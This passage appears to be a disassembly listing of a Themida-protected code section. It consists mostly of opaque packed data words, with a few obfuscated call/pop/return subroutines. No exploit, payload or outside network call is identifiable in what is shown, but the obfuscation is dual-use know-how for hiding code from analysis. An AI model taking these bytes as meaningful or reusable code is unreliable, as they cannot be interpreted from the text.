		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 10E903h,	0DCD10000h, 0C374A2B0h,	0BBAC6505h
		dd 34B9BD4Eh, 858DDDB9h, 7FDB959h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0B0C35141h,	0EFFFB531h, 0A19D8BCFh
		dd 9007FA2Bh, 0FE95250h, 7000000h, 0CD6D934Ah, 0BC68A25Ch
		dd 1D3D3CEAh, 310FC628h, 5FE1B351h, 9050585Ah, 1718589h
		dd 0FF6407FAh, 35h, 25896400h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5D8CBB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8CBB	proc near		; CODE XREF: Themida_:005D8CB3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5D8CBB	endp

; ---------------------------------------------------------------------------
		ror	dword ptr [edx+0Dh], 89h
		mov	ch, 2Dh
		or	eax, 0BD2307FAh
		xchg	eax, ecx
		add	dl, bh
		pop	es
		inc	dword ptr [ebp+7FA1049h]
		push	0
		push	esi
		call	sub_5D8CEB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8CEB	proc near		; CODE XREF: Themida_:005D8CE3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5D8CEB	endp

; ---------------------------------------------------------------------------
		db 29h
		dd 0EC4113F4h, 0EC8DECFEh, 0B5FFFF6Ah, 7FA0EEDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h, 95FFC3AFh
		dd 7FA2875h, 118E9h, 859D8900h,	0B007FA15h, 0BD8B5300h
		dd 7FA2901h, 6070E65Fh,	6840Fh,	9D8B0000h, 7FA0FA5h, 8B71E461h
		dd 0FA27F1BDh, 0F613C07h, 0E883h, 0C8B60F00h, 1F819D8Bh
		dd 6BA07FAh, 8B000000h,	0FA30E5BDh, 60C18B07h, 68B0Fh
		dd 0B58B0000h, 7FA1C59h, 4E8C161h, 66DF8B66h, 9D8BE2F7h
		dd 7FA2D75h, 1E49BD89h,	0C82B07FAh, 0D359589h, 0D18B07FAh
		dd 277D9529h, 0BB6607FAh, 96E97FA7h, 8B000000h,	47554C85h
		dd 83FA8B49h, 0DE907C0h, 4D000000h, 85901AD8h, 1C4BB705h
		dd 1F288C78h, 7E9h, 73C67700h, 0CAEF143Ch, 0E900C083h
		dd 0Dh,	0AEF3A229h, 354CAC48h, 583351DAh, 959509A1h, 3B07FA2Ch
		dd 1D830FD0h, 8B000000h, 0FA317D9Dh, 0FD9D8B07h, 0E907FA15h
		dd 39h,	0EC9BD8Bh, 0BD8B07FAh, 7FA1719h, 0FFFF8D8Bh, 0E183FFFFh
		dd 1E840F01h, 66000000h, 8036C781h, 0FFFFA583h,	0BFFEFFFFh
		dd 31175C76h, 554C9589h, 0DE8A4947h, 0E9h, 2FB58D00h, 6A07FEDAh
		dd 4FBB6600h, 899D8983h, 0FF07FA26h, 0FA101995h, 0EF805707h
		dd 9FB95B2Fh, 6A00000Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 359CC350h, 5382F52Ah
		dd 967DDCCCh, 0BDB589F8h, 8B07FA16h, 0FCE183F8h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4BC35747h, 1BE75084h
		dd 0D8D89B9h, 0FC07FA0Bh, 399F35BBh, 29C02B51h,	0FA345D9Dh
		dd 6AD22B07h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 4028C355h, 564F2202h, 1659D09h
		dd 9D8907FAh, 7FA1BF9h,	2A758509h, 33AD07FAh, 3E8D1C2h
		dd 4E983D0h, 0FFBBF475h, 894EFA6Fh, 0FA350185h,	880D07h
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 69C60DC3h, 8DFB5228h, 81D9A591h, 215CBCF7h
		dd 0D9958B24h, 8B07FA1Ch, 0FA08B5BDh, 0AD8D8B07h, 0F07FA31h
		dd 88Fh, 0DB815600h, 2E6E9575h,	0C28B505Fh, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6ADA8Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0F3AB69C3h, 83959DC1h, 0FA2A29BDh, 840F0007h, 35h, 6820Fh
		dd 85290000h, 7FA053Dh,	0B8h, 8D8DF800h, 7FA4F66h, 6800Fh
		dd 85890000h, 7FA17B1h,	2DC4EF81h, 0E1FF36C5h, 3870Fh
		dd 0BF0F0000h, 0D9BD83F9h, 7FA2Bh, 50C840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0A8C983C3h, 800F2D04h, 0BF663ADBh, 0BD836EA8h, 7FA2BD9h
		dd 0F2840F01h, 0BF000004h, 0E7B30BAh, 2BD9BD83h, 0F0307FAh
		dd 4AA86h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0E70E2A04h, 0D82BDEB9h, 9D8B3FD8h
		dd 7FA00B5h, 0BE960h, 0BE390000h, 92D3A9B8h, 2CB6800Bh
		dd 0F606053h, 8B66C3B7h, 8D8B61F1h, 7FA16E9h, 0D98C6661h
		dd 38812DBFh, 4E1801Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 7BC35141h, 0C90AF5D4h, 1A1840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9E90FC3h, 0B8000000h, 51F090BFh, 0FD232689h,	0DF8BFC8Ah
		dd 0FE9858Bh, 8E807FAh,	4A000000h, 0DE6A8FF7h, 89BA4F56h
		dd 0FA16C19Dh, 0DE8A5F07h, 15E18533h, 6A07FAh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0DCF3D8C3h, 0BE9D2DAh, 5D000000h, 0B2A909BCh, 4DC0776Ch
		dd 8166BFE0h, 90FBA4DBh, 0BE9h,	0B54E4300h, 0A9CE6E66h
		dd 8E59BA19h, 0BE95150h, 5D000000h, 0FA8CA1Ch, 8F7E3FC4h
		dd 905F006Bh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	0CC35040h, 0E738CECFh, 6A5F57B3h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 0A8528FEFh, 0F3BBED27h, 2B1AFD15h, 0FA07B59Dh, 0F1BE6807h
		dd 0D98B0BD9h, 41243481h, 660BC6F2h, 95FFFA8Bh,	7FA1CE9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h
		dd 0E000AE9Bh, 68C60A68h, 8589FC8Ah, 7FA07E5h, 0EB968589h
		dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 5138C8C3h, 9B0BAB81h, 0ADBD8B83h,	0E907FA1Ch
		dd 231h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0E6C35545h, 0F98CFE8Ch,	68F0Fh,	95310000h, 7FA1051h
		dd 8BFBBF0Fh, 0FDEB8E85h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 894E94DBh
		dd 0FA2105BDh, 1800C707h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0AB90C352h
		dd 0DFF2348h, 8589519Ch, 7FA089Dh, 92B58B5Fh, 8B07FDEBh
		dd 0FA15099Dh, 9DBD8907h, 8B07FA0Bh, 0FA0D5185h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 71207969h, 0FDA8B66h, 689h, 919D8B00h, 8907FA0Ch, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 5BA0A118h, 8BF8C3F9h, 0FA225DBDh, 0E9858B07h, 0F907FA0Fh
		dd 6A044689h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 16BC350h, 0A159B7F3h, 0FC2D8217h
		dd 2569BD8Bh, 9D2907FAh, 7FA1D51h, 0A2BF6650h, 24348914h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 62C35747h
		dd 0DC4570C6h, 9D313EE4h, 7FA2575h, 287D9D01h, 0B5FF07FAh
		dd 7FDEB8Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	11C35141h, 0E8F78103h, 682C75D2h, 9F4151EAh, 81F88B66h
		dd 0B2152404h, 6A60DDh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 7F6E99C3h, 0CEC791h, 9BD23C0h, 8D07FA1Fh
		dd 0FDEB9685h, 55958907h, 5007FA08h, 7D87BB66h,	6A240489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 3778C357h, 0A57D2577h, 3CFF8C3Dh,	0E995FFF5h
		dd 6A07FA1Ch, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 772AC351h, 0F713229Eh,	0B70F0B5Eh
		dd 6A61FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 85C7B3C3h, 7FA2BD9h, 3, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0B2C35343h,	0BD838681h, 7FDEB96h
		dd 38840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0E962C352h,	32h, 2DF99D8Bh
		dd 0CE907FAh, 64000000h, 1720AF19h, 0D6C09A3Bh,	506C0598h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 0F88BC08Bh, 8B66FA8Ah, 0D9BD83DFh, 307FA2Bh,	3DD850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0EB15F3C3h, 0ED858944h, 8307FA01h, 0FDEB96BDh
		dd 840F0007h, 3ABh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 7CC35242h, 6B5652C5h,	0F8B70FB9h, 8BDFB70Fh
		dd 0FA14B9BDh, 96B5FF07h, 8107FDEBh, 45EBA9DFh,	4595FF6Ch
		dd 6607FA27h, 8B1AE8BFh, 0FDEB8AB5h, 0BF0F5307h, 6C75BFBh
		dd 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	0B5C35242h, 14E98Fh, 2D630000h,	0F1C1004h, 59816F88h
		dd 5BF3E5BBh, 4328B0C2h, 8B96D768h, 6A9650DFh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0FF21C350h, 0FDEB96B5h, 619D8B07h, 0FF07FA08h, 0FA18E195h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 89B81E6Bh, 9228A9EFh, 9D8B81C2h,	7FA2CA5h
		dd 8B59BF66h, 0EB8AB58Bh, 820F07FDh, 4,	2C80BB66h, 1C7D858Bh
		dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 8589F0C3h, 7FA02E1h, 8B59D8Bh, 868907FAh
		dd 0C4h, 8DB58B60h, 6607FA20h, 3157CB81h, 0D9958B61h, 307FA1Ch
		dd 0FA35399Dh, 4C28307h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 57C35343h, 0E22AF003h, 0BD8BF89Dh, 7FA0E01h
		dd 23205089h, 0FA1859BDh, 0F7858D07h, 6A07FDFEh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 793FC357h, 2BF2B6AEh, 0D8F4E05Ch, 2C1B501h, 0BF0F07FAh
		dd 0B88689DAh, 9000000h, 0FA01F1B5h, 6A006A07h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 926CC356h, 94D6647Eh, 0EB96B5FFh, 853107FDh,	7FA0AC1h
		dd 1C9595FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 8531E6C3h, 7FA01A1h, 20F9BD8Bh
		dd 0E99607FAh, 11h, 0A07D2ECFh,	0B64F02A7h, 68A796A1h
		dd 0D582AF4Bh, 0F6050BEh, 585h,	1A02BF00h, 966172FBh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0CC35343h, 0B5FFB5AAh
		dd 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0DEC35040h, 291DBD8Bh, 0D78007FAh, 9595FFF8h, 8907FA1Dh
		dd 0FA14A195h, 31BD8307h, 7FA01h, 24840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 5098AAC3h, 66243489h, 0B5FFDF8Bh, 7FDEB96h, 2BA18D01h
		dd 95FF07FAh, 7FA1CB5h,	96B5FFF8h, 107FDEBh, 0FA0FEDBDh
		dd 0AD95FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 8F55C357h, 78D56CD8h
		dd 41BD012Fh, 8A07FA2Ch, 21BD83FCh, 207FA22h, 5A840Fh
		dd 0B70F0000h, 15858BD9h, 6A07FA16h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0CBA1C351h
		dd 1C4647A7h, 88801D65h, 6A0000C6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 747BC353h
		dd 2960B83Ah, 0FA21D59Dh, 61D08A07h, 16DD85C7h,	7FAh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 60C344C3h, 8A561CB7h, 0E9615FC5h, 0FFFFF3D4h, 298D9529h
		dd 5E907FAh, 75000000h,	3A870CAFh, 9D8BC18Bh, 7FA1C45h
		dd 0BE8h, 169E4300h, 6A497420h,	4C715108h, 12E9h, 71D0200h
		dd 67835DB7h, 2C2AB227h, 0A8BDB7E7h, 5AFAE3B8h,	74C281F9h
		dd 50000065h, 58DEBF0Fh, 9D29C933h, 7FA1679h, 0E90A3C8Bh
		dd 14h,	96E06E60h, 0BF48190h, 0F7221AD2h, 0BB066577h, 7E8F4B88h
		dd 485FF781h, 95314835h, 7FA2261h, 1EE8C781h, 858B4122h
		dd 7FA3515h, 0D322C781h, 0B589650Ch, 7FA0E59h, 8B0A3C89h
		dd 0FA23D99Dh, 0B5B58907h, 8307FA33h, 494901E9h, 0C9BD8949h
		dd 8107FA14h, 0FF9B50F9h, 16850FFFh, 29000000h,	0FA16C18Dh
		dd 1FE907h, 4C350000h, 0D2D8D54Ch, 0E6AD53B9h, 0E9C78B04h
		dd 0FFFFFF7Ch, 1C80F15Bh, 5493E39Fh, 8F46C84Fh,	0FD8D8D43h
		dd 6A07FF66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0E2C4C351h, 0F610727h,	0B70FC7B7h
		dd 0D98D89D7h, 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 73D5C356h, 17D451F5h
		dd 85C7C07Fh, 7FA31ADh,	6248h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 72C35646h, 85B2F8B0h, 31E475EFh
		dd 0EE9h, 51FC2C00h, 25624BFDh,	0B029467Ah, 0C725CFC9h
		dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8B8F7751h, 0FA33E995h
		dd 6DB5FF07h, 6A07FA2Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0CA4C356h, 0DFF6ACEAh
		dd 8166F78Ah, 0FFA9FBC2h, 0FA179995h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0ED0C7D22h, 0CE3219B1h, 0ADBD0985h, 6A07FA07h, 1995FF00h
		dd 8B07FA10h, 620AEBC0h, 0DC4570C6h, 166E3EE4h,	7C8D8DF0h
		dd 8907FF67h, 0FA25A985h, 0D98D8907h, 8907FA1Ch, 0FA18718Dh
		dd 0AD85C707h, 407FA31h, 0C700005Bh, 0FA2BD985h, 7, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0EAE7A9C4h, 0F5BD89h, 0BF0F07FAh, 0EDB5FFDFh, 0F07FA0Eh
		dd 95FFC0B7h, 7FA1799h,	1659D8Bh, 6A07FAh, 101995FFh, 0C08B07FAh
		dd 4EEB5DEBh, 0BF724BEDh, 0C21AE6Ah, 0F53FA171h, 0BF08E885h
		dd 0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh,	88082B2Eh
		dd 0BD9E786Eh, 5BCA4149h, 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h
		dd 0E54CFCD9h, 7382D57Eh, 27BD04B8h, 0C6FCCB68h, 1AF848FAh
		dd 0D4A2D0B0h, 0E669CC6Eh, 49008DD8h, 8D8546AEh, 0FF68BE8Dh
		dd 0FE807h, 0D4400000h,	7D16E5B4h, 0BB79D298h, 6C8967C5h
		dd 7E8B4h, 29840000h, 3A045F96h, 0D9BF0F28h, 8D895F5Ah
		dd 7FA1CD9h, 0CE9h, 9F2DD400h, 0AEC1328Ah, 0D25BA30Eh
		dd 0AD85C7CAh, 3807FA31h, 6A000064h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3A0FC355h
		dd 8A597E81h, 0C3B70FACh, 68D0Fh, 958B0000h, 7FA0D79h
		dd 2BD985C7h, 7FAh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 587C7EC3h, 0C891E620h
		dd 9531F5E8h, 7FA2741h,	2515B5FFh, 0F6007FAh, 0F88h, 9E800h
		dd 916C0000h, 78F00116h, 58864A00h, 9995FF61h, 6607FA17h
		dd 4ABEC381h, 95FF006Ah
		dd 7FA1019h, 8EBC08Bh, 3AE4A8A9h, 1CF20108h, 6316AF9Ch
		dd 3316C696h, 0F04EE53Fh, 17524CC7h, 175244CBh,	3316D1E3h
		dd 0F04685F3h, 55DF76A2h, 0B8350745h, 6316AFBEh, 3316C6D7h
		dd 0F04EE59Fh, 17524C97h, 175244E3h, 3316D9F7h,	0F04685F9h
		dd 0B1684D84h, 0F49790B0h, 0FEAB46C1h, 33113FB5h, 8E95CCBAh
		dd 34ECDD7Eh, 630FB1F3h, 8BD64EAAh, 3316C1FFh, 13DF40F7h
		dd 0AE9BC2C5h, 34EA27BBh, 6B4D1630h, 2B8F7864h,	4716C209h
		dd 8B4595EEh, 3316C1FFh, 13DF40F7h, 0AE9BC2C5h,	34EA1A8Ch
		dd 6B4D1630h, 12FF506Eh, 337CC209h, 33152DACh, 6E36C5FCh
		dd 5F9F98BDh, 7797C11Bh, 3300C1BBh, 6653C5CFh, 42856B24h
		dd 148B7878h, 0F39DC203h, 0DB44C596h, 3316C57Dh, 69D59F1Fh
		dd 37329116h, 3732814Eh, 3316C5FBh, 0ECD597B1h,	0EADCEA43h
		dd 0A963154h, 0DACE4918h, 3316C530h, 6DEDD09Ch,	2C8B36E8h
		dd 8D220DCAh, 0BA4D537Eh, 0C908B46Ch, 3C126DFBh, 3312C3FAh
		dd 0F29B4E3Fh, 0B0113FB4h, 0C90E3C72h, 0B719C5E0h, 3316C5C3h
		dd 0DADF72F6h, 3316C617h, 0DB43C514h, 3316C53Ch, 6ED598BFh
		dd 3732A946h, 37328166h, 3316C5E9h, 86D590BCh, 0B39FF6CCh
		dd 0AE9D993Ah, 34ECED7Ah, 3331C521h, 6516AFCDh,	3316C60Fh
		dd 0F048E5F3h, 17624CA7h, 175244F8h, 3316D27Ah,	0F040833Fh
		dd 26D218F8h, 0A76E7FA9h, 8E68406Ah, 337CC20Eh,	33152DAAh
		dd 6836C5FCh, 6F9F9EBDh, 7797C11Bh, 330AC1BBh, 6055C5CFh
		dd 8A0E4924h, 10DA2D4Ah, 0E3E9EDDAh, 0F3933F77h, 33FF4171h
		dd 337CC53Fh, 33152DC9h, 6D36C5CFh, 479F9B24h, 7797C1D7h
		dd 3302C1DDh, 6550C5FCh, 0B9704BDh, 0C897A368h,	33454090h
		dd 337CC5CFh, 33152DB5h, 6936C5F3h, 679F9F3Ah, 7797C1D8h
		dd 330CC15Ah, 6154C53Fh, 5237D85Ch, 7A334EE9h, 376E4481h
		dd 0B719C7F1h, 3316C69Eh, 0DB44C596h, 3316C57Dh, 69D59F1Fh
		dd 37329116h, 3732814Eh, 3316C5FDh, 4FD597B1h, 11C75C95h
		dd 0E29670C0h, 0B97A37Fh, 0B619A5A3h, 3316C5FCh, 0DB46C5A5h
		dd 3316C5E4h, 6BD59DD3h, 37328170h, 3732817Dh, 3316C56Ah
		dd 0CAD5957Fh, 0DB14BD1Fh, 332B40C0h, 8C70C5E7h, 0B270F3A3h
		dd 9816C381h, 333B40F3h, 1045C57Eh, 0C91B80AAh,	0C7FF9A98h
		dd 5916C5CDh, 30FE92E7h, 1316C5F3h, 0BA4906A6h,	0B212E180h
		dd 2512E13Ah, 7416C53Fh, 560106C8h, 8DCE4E29h, 7517C4E7h
		dd 0BA44CB42h, 0C9182044h, 0B69B9AFBh, 34EB7800h, 0DB45C555h
		dd 3316C59Ch, 68D59EEFh, 3732996Eh, 37328172h, 3316C5E3h
		dd 59D596BFh, 934293ABh, 22FFDF6Bh, 2E16C59Fh, 9D9105BEh
		dd 429371D3h, 0C07E3AABh, 9A76F515h, 1C3378FDh,	2FAFC284h
		dd 0CC1B1976h, 0C097A34Fh, 0F3935B0Dh, 310341E8h, 337CC5F3h
		dd 33152DA8h, 6A36C5FCh, 7F9F9CBDh, 7797C11Bh, 3303C1BBh
		dd 6257C5CFh, 0BABDC024h, 0C9141C76h, 33192CFEh, 0F5EBC5FCh
		dd 1CFE8727h, 0FBB4B937h, 0F1C7FC5Ch, 552E44B1h, 3C14C7DAh
		dd 33169C76h, 33132DF9h, 0F2DEC5FCh, 0BA7B089Ah, 0C908ECAAh
		dd 0B2709A98h, 0B2731C3Dh, 0E70C39Fh, 0B719BFACh, 3316C7FEh
		dd 0DB43C596h, 3316C57Dh, 6ED5981Fh, 3732A916h,	3732814Eh
		dd 3316C5F2h, 22D590B6h, 33022C50h, 9931C5FCh, 9357BAE0h
		dd 81955784h, 0E4C0FC31h, 5C8E5598h, 0B270D276h, 3C7659CBh
		dd 33164B7Ch, 6216AFFCh, 3316C696h, 0F04FE53Fh,	175A4CC6h
		dd 175244CBh, 3316DEE3h, 0F04784F3h, 1A8A1432h,	0F0DC9CC2h
		dd 34B75057h, 4B96C2C5h, 0B6192D9Dh, 3316C594h,	12CB586Eh
		dd 0B270C209h, 0F316C381h, 335F40F3h, 337CC57Eh, 33152D6Eh
		dd 6A36C59Fh, 7F9F9C0Ch, 7797C1C3h, 3303C1D7h, 6257C5F9h
		dd 0DAFC5B3Fh, 3316C421h, 0DB41C555h, 3316C59Ch, 6CD59AEFh
		dd 3732B96Eh, 37328172h, 3316C5E5h, 36D592BBh, 6AD4C02h
		dd 0D988AAC0h, 8D0D2F1Fh, 4D17C4CFh, 0B69B1F6Ch, 34EB788Dh
		dd 39B87A9Fh, 8C191503h, 3CD64087h, 331607BBh, 0A9BC69Fh
		dd 0B3113FD7h, 0B6192DDFh, 3316C5B6h, 4013BD79h, 332D40F3h
		dd 337CC57Eh, 33152D68h, 6C36C59Fh, 4F9F9A0Ch, 7797C1C3h
		dd 330BC1D7h, 6451C5F9h, 0C805633Fh, 0E9F51D92h, 0B37EBFC0h
		dd 3C45C2E7h, 3316174Bh, 59D744E7h, 1A6A9F8Eh, 0C91EE474h
		dd 0B97A3FBh, 0B619C0F1h, 3316C55Ch, 0DB41C5F5h, 3316C5CCh
		dd 6CD59AC7h, 3732B97Ah, 37328178h, 3316C5EBh, 0BCD59239h
		dd 0B333E8D5h, 3C7EC3E7h, 3316FF4Ah, 0E097A3E7h, 0B270A3B8h
		dd 16E9CE81h, 333F40F3h, 337CC57Eh, 33152D68h, 6C36C59Fh
		dd 4F9F9A0Ch, 7797C1C3h, 3303C1D7h, 6451C5F9h, 61CF2A3Fh
		dd 0DA4C67CCh, 3316C564h, 8BC04EF9h, 3316C5CFh,	331B44E8h
		dd 3BFFC5F3h, 5D16C5F9h, 2EDDC21Dh, 0DA3DD6A8h,	3316C579h
		dd 0DB41C5F5h, 3316C5CCh, 6CD59AC7h, 3732B97Ah,	37328178h
		dd 3316C5E5h, 0AFD59239h, 7ADC7A4h, 33052C5Ch, 927DC5CFh
		dd 802111D6h, 0B87FBEC7h, 0EB7DE27Fh, 0ABFE30E4h, 8BE74F29h
		dd 3316C53Eh, 1A235814h, 0DA46C235h, 3316C5E1h,	34A0B84Fh
		dd 379F19BFh, 0A283C4D8h, 0BE113F6Ah, 0CC7E0E82h, 5D9B4898h
		dd 8B113AA1h, 447090C4h, 2F1740F0h, 0FC3DC203h,	17C4CF8Dh
		dd 9B1F6C4Dh, 0EB788DB6h, 0B87A9F34h, 19150339h, 0D640878Ch
		dd 8307BB3Ch, 0A4F305E9h, 458D8B58h, 6A07FA29h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 1628C356h, 0BB38723Ah, 0FA8B9DCAh, 840FC00Bh, 5Eh, 8DF98B66h
		dd 0FA4F66B5h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0B0889AF3h, 0C18D89DEh
		dd 0B807FA2Dh, 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0EEC35141h, 1F250990h, 0E6FF5525h, 5CB25053h, 0E840595Fh
		dd 14h,	2EDCF01h, 1FE3CBCDh, 0BE7388D3h, 209A1BB2h, 55B151C8h
		dd 68B0Fh, 85890000h, 7FA2EA1h,	6AC08B5Ah, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 2146C351h
		dd 0D1C7BFB4h, 0BD831B9Fh, 7FA2ACDh, 83097500h,	0FA1899BDh
		dd 19740007h, 0C08B5350h, 403B8h, 81858900h, 8D07FA15h
		dd 0FCE28B9Dh, 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h
		dd 403B8h, 81858900h, 8D07FA15h, 0FCDF2C9Dh, 5BD3FF07h
		dd 840F6058h, 5, 0EC88166h, 0BE8E5h, 0A2C00000h, 9FA25DA4h
		dd 48032F29h, 9E96Bh, 0A8580000h, 0C1B9D08Dh, 5BF070EBh
		dd 958B5161h, 7FA00F1h,	0C08BFC5Fh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0C7C35646h,	3EB96606h, 0FABA66D3h
		dd 8E8610Eh, 53000000h,	24D1431Fh, 6621F38Bh, 5FCE55BEh
		dd 145D8501h, 0C78107FAh, 5D26h, 33EBBB66h, 1728B8h, 0F8BF500h
		dd 90C7BE66h, 1566F181h, 81660430h, 81A8FEDBh, 18A21E9h
		dd 0DF8B6638h, 0A854F181h, 0B3515734h, 66078F9Fh, 83DBA5BBh
		dd 9D3104EFh, 7FA2305h,	1E881h,	850F0000h, 0Eh,	0E93CDE80h
		dd 21h,	99616A28h, 55B2FA3Ch, 0FFFFADE9h, 0AC6E74FFh, 67E5E77Ah
		dd 0AE33FF69h, 0E556C488h, 0E8D37FA0h, 712ADE56h, 4B46D4D4h
		dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h
		dd 2056EF5Eh, 4E603262h, 0A5E4FFB4h, 6A6F867h, 0A3BEA162h
		dd 21CEF045h, 0A3BA7967h, 21C9D261h, 1706D71Bh,	29333262h
		dd 2633831Dh, 96B6C098h, 763459E8h, 5691D615h, 0D963AE67h
		dd 0DC352D0Dh, 2664839Fh, 23593598h, 56811F15h,	0AB634A67h
		dd 0D943041Dh, 0B3CC039Fh, 21C9B151h, 0A23C1493h, 26336AA1h
		dd 5681B015h, 0CE639D67h, 26334DAAh, 0A3BEF6D8h, 21CC2320h
		dd 94B624C8h, 76342BE8h, 2BF6FF67h, 0E2B03262h,	94B61794h
		dd 7634B2E8h, 56912315h, 0D9635467h, 0DC35500Dh, 26513D9Fh
		dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh,	6633A698h
		dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h
